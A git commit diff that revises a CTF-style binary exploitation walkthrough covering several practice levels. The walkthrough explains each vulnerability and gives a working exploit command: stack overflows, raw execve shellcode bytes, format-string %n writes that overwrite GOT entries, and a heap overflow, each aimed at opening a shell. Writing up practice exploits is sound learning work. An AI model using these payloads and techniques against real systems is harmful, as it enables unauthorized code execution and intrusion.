fix: bunch of improvements and typos in the walkthrough

This commit is contained in:
0x35c 2025-05-07 14:04:04 +02:00
parent ca011b34f4
commit fb1ba7aee8
11 changed files with 35 additions and 24 deletions

View File

@ -1 +1 @@
(python -c 'print("a"*76 + "\x44\x84\x04\x08")'; cat) | ./level1
(python -c 'print("A"*76 + "\x44\x84\x04\x08")'; cat) | ./level1

View File

@ -1,4 +1,11 @@
#include <stdio.h>
#include <stdlib.h>
void run(void)
{
fwrite("Good... Wait what?\n", 1, 19, stdout);
system("/bin/sh");
}
int main(void)
{

View File

@ -1,9 +1,9 @@
# Level1
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`.
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets()`.
We can exploit this call to overflow the stack and call another function.
In the binary, there is a function `run()` located at address 0x8048444 that runs `/bin/sh`.
In the binary, there is a function `run()` located at address 0x8048444 that calls `system("/bin/sh")`.
To exploit this, we can use this sh command with this inline python script:
`(print('a'*76 + "\x44\x84\x04\x08"); cat) | ./level1`
This will print `run()`'s address on the stack, after the buffer being written to by `gets`, resulting in a call to the function.
`(print('A'*76 + "\x44\x84\x04\x08"); cat) | ./level1`
This will print `run()`'s address to `eip`, after the buffer being written to by `gets()`, resulting in a call to the function.
The parenthesis and the `cat` are mandatory to make it blocking and keep the shell opened.

View File

@ -1,13 +1,13 @@
# Level2
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets`.
Using ghidra, we can decompile the code and see that it fills a buffer of 76 bytes using the deprecated (unsafe) function `gets()`.
Then, it will check if the return address hasn't been overwritten to and thus prevent us to exploit this vulnerability...
Since it calls `strdup` at the end of the program, we can insert a piece of code executing a linux shell through asm instructions. This will be copied to the heap, and since the ASLR is disabled, the address of where `strdup` will copy the content of the buffer will always be the same (we can find it using `ltrace ./binary`).
Since it calls `strdup()` at the end of the program, we can insert a shellcode (asm instructions opening a shell). This will be copied to the heap, and since the ASLR is disabled, the address of where `strdup()` will copy the content of the buffer will always be the same (we can find it using `ltrace ./level2`).
For the payload, everything is explained here (thanks cocomelonc UwU):
For the shellcode, everything is explained here (thanks cocomelonc UwU):
https://cocomelonc.github.io/tutorial/2021/10/09/linux-shellcoding-1.html
We can then execute this command (similar to the previous one):
`(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A" * 55 + "\x08\xa0\x04\x08"' ; cat) | ./level2`
Where we copy our linux shell code to the heap, then fill the buffer until after `eip`.
Basically, we copy our shell code to the heap, then fill the buffer until after `eip`.
Finally, we can insert the address where our code has been copied so it will be executed when the `return` instruction is called.

View File

@ -1 +1 @@
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4

View File

@ -14,4 +14,4 @@ Since we cannot pass arguments to printf directly, we need to specify the positi
Finally, we print the 16930112 bytes (+ 4 bytes for the address have already been printed) so that `m == 16930116`.
Unfortunately, unlike the previous level, we cannot print all the bytes directly in the buffer. For this, we will use printf's padding feature to print the right number of bytes.
Here is the command:
`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4`
`(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"') | ./level4`

View File

@ -1,7 +1,7 @@
# Level5
Using ghidra, we can decompile the code and see that it fills a buffer of 520 bytes using `fgets`.
This buffer will then be passed directly as a parameter to `printf`. This allows us to print whatever we want (e.g dump the stack, change variables).
Using ghidra, we can decompile the code and see that it fills a buffer of 520 bytes using `fgets()`.
This buffer will then be passed directly as a parameter to `printf()`. This allows us to print whatever we want (e.g dump the stack, change variables).
Our goal here will be to change the value of the `jmp` of `exit()` to the address of `o()`, opening a shell.
To do so, we will first dump the stack to know where the buffer is located.
@ -9,6 +9,8 @@ Let's print something basic like `print("AAAA" + "%x"*20)`. We can see that 0x41
Now that we know where our buffer is located on the stack, let's exploit printf.
By using the `%n` flag, we can change the value of a variable to the length of what's been printed before (here, o's address).
We can get both `jmp` instruction's address and `o`'s address using gdb.
Let's overwrite the GOT address of `exit()` by the address of `o()`.
We can get both addresses using gdb.
Putting these all together, here is the command:
`(python -c 'print "\x38\x98\x04\x08" + "%134513824p" + "%4$n"'; cat) | ./level5`

View File

@ -1,9 +1,10 @@
# Level6
Using ghidra, we can decompile the code and see that it calls `malloc` twice.
The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` function by default (prints "Nope."). We want to change its value to point to the correct function `n()` that will open a shell.
Using ghidra, we can decompile the code and see that it calls `malloc()` twice.
The first malloc has a size of 64 bytes and is a buffer where the program will `strcpy(buf, av[1])`. The second one is a function pointer pointing to `m()` printing `"Nope."`. We want to change its value to point to the correct function `n()` that will open a shell.
To achieve this, we will overflow the first malloc and the second one's header so that we can write the adress through the input in `av[1]`.
To calculate the offset between the 2 allocations, we used gdb's breakpoints and prints, leading us to an offset of 72 bytes (64 + 8).
We just need to print 72 bytes followed by the address of `n()`.
Here is the command:
./level6 $(python -c 'print "A"*72 + "\x54\x84\x04\x08"')

View File

@ -4,9 +4,9 @@ Using ghidra, we can decompile the code and see that it allocates 2 variables (s
It will then `strcpy()` the content of av[1] and av[2] to s1[1] and s2[1], exposing the program to a buffer overflow.
After that, the program opens a file stream on `/home/user/level8/.pass` and writes its content to the global buffer `c[80]`. This buffer is also used in an external function `m()` that will print the content of c.
Finally, we have a call to `puts("~~")` that we're going to use to call the function `m()` instead of printing its string.
In order to do this, we have to overwrite the GOT at the address of `puts()` and replace it by the address of `m()`.
In order to do this, we have to overwrite the GOT at the address of `puts()` with `m()`'s address.
Remember we have 2 pointer dereferences, we're going to use this to write what we want at the address we want.
Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g., the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`.
Basically, we need to overflow `s1` until `s2`, then write the GOT address of `puts()` into `s2 + 4` (since it dereferences `s2` at `s2[1]`) through the 1st `strcpy()` (copying `av[1]`). What will happen is that the 2nd `strcpy()` will copy the content of `av[2]` (e.g, the address of `m()`) to the address of `s2[1]`, which now equals to the GOT address of `puts()`.
Here is the command:
`./level7 $(python -c 'print "A"*20 + "\x28\x99\x04\x08"') $(python -c 'print "\xf4\x84\x04\x08"')`

View File

@ -1 +1 @@
(python -c 'print "auth \nservice" + "A" * 34 + "\n" + "login\n"'; cat) | ./level8
(python -c 'print "auth \nservice" + "A" * 33 + "\n" + "login\n"'; cat) | ./level8

View File

@ -2,12 +2,13 @@
Using ghidra, we can decompile the code and see that it loops on a `fgets()` and does a bunch of `memcmp()` with its buffer.
First of all, we have 2 global variables, `char *auth` and `int service`. Also, we have 3 local buffers (`s`, `v5` and `v6`) with respective sizes of 5, 2 and 129.
We can see that they are being changed in 2 different `if memcmp()`.
We can see that they are being changed in 2 different `if (!memcmp())`.
The first one is when we input `"auth "`. It will allocate 4 bytes to `auth`, then set `auth[0]` to 0.
The second one is when we input `"service"`. It will `strdup()` the content of `v6` (a random buffer on the stack) to `service`. This is interesting because we can overflow the first buffer `s` (through `fgets(s, 128, stdin)`) until we reach `v6`, thus allowing us to write whatever we want to service. Since `service` is an int, it will overflow to the next variable, which is `char *auth`.
To make this vulnerability useful, let's see the last `memcmp()`.
This last `if memcmp()` is triggered with the input `"login"`. It then has an `if/else`, that will open a shell (what we want) in case `auth[32] != 0`.
Here comes the interesting part, remember we could overflow on `auth` through the `strdup` on `service`.
This last `if (!memcmp())` is triggered with the input `"login"`. It then has an `if/else`, that will open a shell (what we want) in case `auth[32] != 0`.
Here comes the interesting part, remember we could overflow on `auth` through the `strdup()` on `service`.
We're going to overflow 33 bytes from the `fgets()` after `"service"` so it overwrites the 33th byte of `auth` (since `"service"` already overwrites `s` by 2 bytes), opening a shell.
Here's the full exploit:
`(python -c 'print "auth \nservice" + "A" * 34 + "\n" + "login\n"'; cat) | ./level8`
`(python -c 'print "auth \nservice" + "A" * 33 + "\n" + "login\n"'; cat) | ./level8`